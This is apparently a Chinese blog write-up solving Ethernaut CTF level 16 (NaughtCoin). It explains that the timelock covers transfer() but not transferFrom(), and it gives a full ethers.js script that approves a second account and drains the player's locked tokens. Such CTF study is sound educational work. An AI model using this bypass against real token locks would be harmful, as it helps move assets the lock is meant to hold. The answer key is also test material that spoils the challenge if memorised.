Openzeppelin区块链CTF练习——答案和解析【16】NaughtCoin
openzeppelin出的CTF练习题https://ethernaut.openzeppelin.com/level/0x80934BE6B8B872B364b470Ca30EaAd8AEAC4f63F
分析
首先需要熟悉ERC20合约内容,通过题目的合约可以看到封锁的是 transfer() 函数,而 transferFrom() 函数 并没有被timeLock锁住。
因此可以授权另一个账号来转移player的token资产。
答案——js运行文件
其中abi可以通过浏览器开发者工具通过console输入contract,找到abi右键点击copy object获取
const { ethers } = require("hardhat");
const abi = require("../contracts/CTF_bug/NaughtCoin_ABI.json");
// 主部署函数。
async function main() {
//从 ethers 提供的 signers 中获取签名者。
const [deployer, account02] = await ethers.getSigners();
const player = deployer.address;
const account2 = account02.address;
console.log(`使用账户部署合约: ${player.address}`);
const provider = new ethers.JsonRpcProvider(process.env.SEPOLIA_RPC_URL);
const wallet = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
// 合约地址
const contractAddress = "0x3Bbe45c142cc11e47d68CD291A89407c5BC08F73"; //换成自己的Instance address
// 创建合约实例
const bug = new ethers.Contract(contractAddress, abi, wallet);
const bugAddress = await bug.getAddress();
console.log(`Bug合约 部署在 ${bugAddress}`);
// 获取player账户余额
let balance = await bug.balanceOf(player);
console.log("player balance:", balance);
//获取账户2的被授权金额
let allowance = await bug.allowance(player, account2);
console.log("授权前账户2的 allowance:", ethers.formatEther(allowance), "ETH");
//对账户2进行授权
const tx = await bug.approve(account2, balance);
await tx.wait();
allowance = await bug.allowance(player, account2);
console.log("授权后账户2的allowance2:", ethers.formatEther(allowance));
//利用账户2将player中的钱转出去
const tx2 = await bug
.connect(account02)
.transferFrom(player, account2, balance);
await tx2.wait();
//查看转账后player的余额
balance = await bug.balanceOf(player);
console.log("转账后player balance:", balance, "ETH");
}
// 执行主函数并处理可能的结果。
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});